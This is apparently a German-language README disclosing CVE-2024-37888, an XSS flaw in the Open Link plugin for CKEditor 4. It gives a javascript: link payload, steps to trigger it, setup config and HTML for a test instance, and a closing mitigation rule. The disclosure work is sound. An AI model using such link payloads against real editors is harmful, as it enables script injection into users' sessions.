
XSS PoC/Exploit für das Open Link Plugin von CKEditor 4
Dieses Repository dokumentiert Schwachstellendetails und einen Exploit für CVE-2024-37888, entdeckt und gemeldet von Anurag Mondal (7Ragnarok7) am 21. Mai 2024.
Dieser Proof of Concept (POC) demonstriert die Ausnutzung einer XSS-Schwachstelle, die ich kürzlich im Open Link-Plugin entdeckt habe und die, wenn aktiviert, alle Versionen von CKEditor 4 direkt betrifft. Der Fehler ermöglicht die Ausführung von JavaScript über manipulierte Links innerhalb des Editors, die das Plugin nicht bereinigt. Dieser Fehler kann im Textbereich nur ausgenutzt werden, wenn das Open Link-Plugin installiert ist. Das Open Link-Plugin ermöglicht es uns, Links direkt innerhalb des Bearbeitungsbereichs zu öffnen.
Diese Schwachstelle kann mit der vorkonfigurierten CKEditor-Instanz getestet werden, die hier verfügbar ist.
Payload einfügen:
Öffnen Sie die CKEditor-Instanz und klicken Sie auf das „Source"-Symbol.
Fügen Sie den folgenden Payload in den Textbereich ein:
<a href="javascript:alert('XSS Found')">XSS</a>

In den WYSIWYG-Modus wechseln:

XSS auslösen:

Sie können eine eigene lokale Instanz einrichten, um diese Schwachstelle zu testen, indem Sie die folgenden Schritte befolgen.
CKEditor 4 herunterladen:

Open Link-Plugin installieren:
ckeditor/plugins/openlink.
Konfiguration aktualisieren, um das OpenLink-Plugin einzubinden:
config.js von CKEditor, indem Sie die folgenden Zeilen am Ende anhängen:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
CKEditor in HTML einbinden:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>

Diese Schwachstelle wurde in der Codebasis des Plugins Open Link und nicht in der Codebasis von CKEditor 4 entdeckt. Der obige POC demonstriert die Ausnutzung einer XSS-Schwachstelle über das Open Link-Plugin in CKEditor 4.*.*. Der Fehler ermöglicht die Ausführung beliebigen JavaScripts über speziell präparierte Links und stellt ein erhebliches Sicherheitsrisiko dar.
config.disallowedContent = 'a[onclick]';